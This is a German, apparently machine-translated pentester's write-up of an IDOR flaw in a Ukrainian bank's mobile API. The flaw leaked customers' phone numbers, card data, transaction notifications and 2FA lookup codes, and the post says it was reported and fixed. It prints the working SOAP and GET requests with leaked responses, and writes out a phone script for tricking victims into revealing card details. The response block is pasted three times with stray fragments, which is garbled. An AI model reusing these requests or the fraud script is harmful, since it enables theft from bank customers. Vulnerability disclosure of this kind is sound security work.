Letztes Jahr hat mich eine ukrainische Bank von TOP-10 eingeladen, ihre Internet- und Mobile-Banking-Systeme auf Schwachstellen zu testen.
Zunächst habe ich mich entschlossen, zunächst die Anforderungen der mobilen Anwendung zu verfolgen. Mit Hilfe von Fiddler (Burp oder Charles) begann ich, jede Anwendungsanforderung zu prüfen und alle in meinem Konto verfügbaren Vorgänge auszuführen. Mobile Banking war nicht durch SSL-Pinning geschützt, daher war es nicht schwierig.
Bei GET- und POST-Anfragen habe ich versucht, die Parameter zu ändern, um das zu erhalten, wonach ich gesucht habe, aber lange Zeit war ich nicht erfolgreich - ich habe Fehler wie "Zugriff verweigert" erhalten. Ich habe jedoch die Abfragen gefunden, die ich brauchte.
Zum Beispiel:
1. Durch Ausführen einer POST-Anforderung an eine Adresse des Formulars
https://api.somebank.ua:8243/services/MobileGW.MobileGWHttpsSoap11Endpoint
Mit bestimmten Parametern:
SOAPAction: urn:getChannels Content-Type: text/xml Content-Length: 780 Host: api.somebank.ua:8243 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0
Anfragetext: <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ib="http://somebank.com.ua/"> <soapenv:Header> <ib:sbbSecurityToken>594d608e-XXXX-XXXX-XXXX-31a7d4ddb016</ib:sbbSecurityToken> <ib:locale>ru</ib:locale> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <wsse:UsernameToken> <wsse:Username>mobile</wsse:Username> <wsse:Password>XXXXXXXXXXXXX</wsse:Password> </wsse:UsernameToken> </wsse:Security> </soapenv:Header> <soapenv:Body> <ib:getChannels> <ib:clientId>3618336</ib:clientId> <ib:cardId>?</ib:cardId> </ib:getChannels> </soapenv:Body> </soapenv:Envelope>
Als Antwort erhielt ich viele Informationen über einen anderen Kunden:
<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope>
</ sbb: token> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope>
</ sbb: token> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope>
Dies sind die folgenden Daten:
- Kundentelefonnummer ("phoneNumber");
- Anzahl der Karten (jeder Parameter "cardId");
- abgeschnittene Anzahl solcher Karten ("hashNum");
- Datum der Registrierung im Internetbanking ("regDate");
- auf welchem Gerät die Anwendung verwendet wird - Android oder iOS ("Plattform");
- und so weiter
Wenn Sie den Parameter "ib: clientId" im Anforderungshauptteil (in der Antwort "sbb: extClientId") von 3618336 auf einen anderen ändern, erhalten Sie Informationen zu einem anderen Client.
Lass uns weitermachen.
2. Nehmen Sie nun für Clients, bei denen "sbb: channelId" "2" ist (der Kanal zum Empfangen von Client-Benachrichtigungen: wenn 1 - SMS, 2 - Push), clientId (extClientId) und ersetzen Sie sie in der GET-Anforderung durch die Adresse
https://api.somebank.com.ua/commgw/message/history?extClientId=3618336&pageNumber=1&pageSize=10
mit folgenden Parametern:
Authorization: Bearer 0e95863b-XXXX-XXXX-XXXX-71941bfb0733 Content-Type: application/json Host: api.somebank.com.ua Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0
Als Antwort erhalten wir Push-Benachrichtigungen, die an diesen Client gesendet werden:
[{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"}, {"messageId":"7150183459642079408","messageBody":"Karta 5123-1235 operaciya 56.8UAH 12/08 12:57 SOCAR PETROL STATIONS Dostupno: 30931.74UAH"}, {"messageId":"1688468957246607805","messageBody":"Karta 5123-1235 operaciya 814.3UAH 08/08 16:54 TOV AGP 5 Z PDV Dostupno: 30988.54UAH"}]
Hier können Sie sehen:
- Auf welcher Karte war die Operation?
- für welchen Betrag;
- Datum und Uhrzeit der Operation;
- um welche Art von Operation es sich handelte (Kauf in einem Geschäft, Abheben von einem Geldautomaten oder einer Registrierkasse, Auffüllen einer Karte usw.);
- die Verkaufsstelle, in der die Operation durchgeführt wurde - einschließlich des Autorisierungscodes, der zur Bestätigung der Zahlung auf Zahlungsseiten erforderlich ist - LookUp, VCODE, CardVerif - mehr dazu weiter unten;
- Kartenguthaben nach jeder Operation.
Aufgrund der großen Datenmenge und des Social Engineering war es möglich, auf Zahlungsseiten Geld von Kundenkarten abzuheben.
Ein Betrüger ruft beispielsweise +380509876543 mit der folgenden Konversation an:
Karta 5111-1115 operaciya -62.08UAH 23.09.18 03:38 UBER TRIP PKGT4 HELP.UBER, NL Dostupno: 1349.88UAH Karta 5111-1115 operaciya -50.00UAH 22.09.18 19:22 TAVRIYA PLUS, UA Dostupno: 1411.96UAH Karta 5111-1115 operaciya -29.00UAH 22.09.18 10:22 MAGIC SNAIL PARK SHEVCHEN, UA Dostupno: 1461.96UAH
- Guten Tag, der Mitarbeiter der SomeBank-Überwachung stört Sie. Wir haben nach der letzten Operation verdächtige Aktivitäten auf Ihrer Karte festgestellt. Haben Sie mit einer Karte 5111-1115 für UAH 62.08 bezahlt?
- Vielleicht ja.
- Diese Operation war heute, 23.09.18, um 03:38 Uhr in UBER. Bestätigen Sie diesen Vorgang?
- Ah ja, ich war es.
- Und vorher haben Sie sich für 50 UAH in TAVRIYA PLUS niedergelassen. und kaufte Kaffee im SHEVCHENko PARK für 29 UAH., richtig?
- Ja, genau.
- Gut. Um eine betrügerische Operation für UAH 444 abzubrechen, teilen Sie mir die Nummer der Filiale mit, in der Ihre Karte ausgestellt wurde. Dies sind drei Nummern auf der Rückseite der Karte und ...Wenn der Client zögert, können Sie seine anderen Vorgänge benennen. Mithilfe der Sicherheitsanfälligkeit können Sie ihnen eine unbegrenzte Anzahl anzeigen.
Im Rahmen der Untersuchung der mobilen Anwendung wurden Methoden gefunden, um die folgenden Daten zu erhalten:
- die Fähigkeit, die Zwei-Faktor-Authentifizierung auf Zahlungsseiten zu umgehen;
- Telefonnummer des Kunden;
- die Anzahl seiner Karten;
- abgeschnittene Kartennummern;
- Datum der Registrierung im Online-Banking;
- Nachrichten, die auf dem Smartphone an den Client gesendet werden. Informationen einschließen:
- Auf welcher Karte war die Operation?
- für welchen Betrag;
- Datum und Uhrzeit der Transaktion;
- um welche Art von Transaktion es sich handelte (Kauf in einem Geschäft, Abheben von einem Geldautomaten oder einer Registrierkasse, Auffüllen einer Karte usw.);
- Verkaufsstelle, an der dieser Vorgang durchgeführt wurde - einschließlich Autorisierungscode (LookUp);
- Kartenguthaben nach der Operation;
- und vieles mehr.
Ich werde die Ernsthaftigkeit von Klausel 11 erläutern. Da die Karten dieser Bank nicht über 3D-Secure (wenn ein Code per SMS an den Kunden gesendet wird, der zur Bestätigung des Vorgangs eingegeben werden muss), Zahlungsdienste (z. B. Portmone, iPay, EasyPay und viele andere) verfügen. Führen Sie eine Operation mit solchen Karten ohne zusätzliche Überprüfung durch. Oder sie fragen nach einem 2FA-Spezialcode (LookUp-Code), der in den Details des Vorgangs enthalten ist - im Namen der Steckdose.
So können Betrüger leicht Informationen über Kunden herausfinden und zur Bestätigung von Zahlungen einfach die erforderlichen Codes im Bankensystem einsehen.
Ich möchte auch darauf hinweisen, dass der Dienst nicht mehrere Anfragen blockiert hat und es beim Durchsuchen der Daten möglich war, eine Datenbank mit einer sehr großen Menge an Informationen zu sammeln.
Einige Zeit nach der Meldung der Sicherheitsanfälligkeiten wurden diese behoben.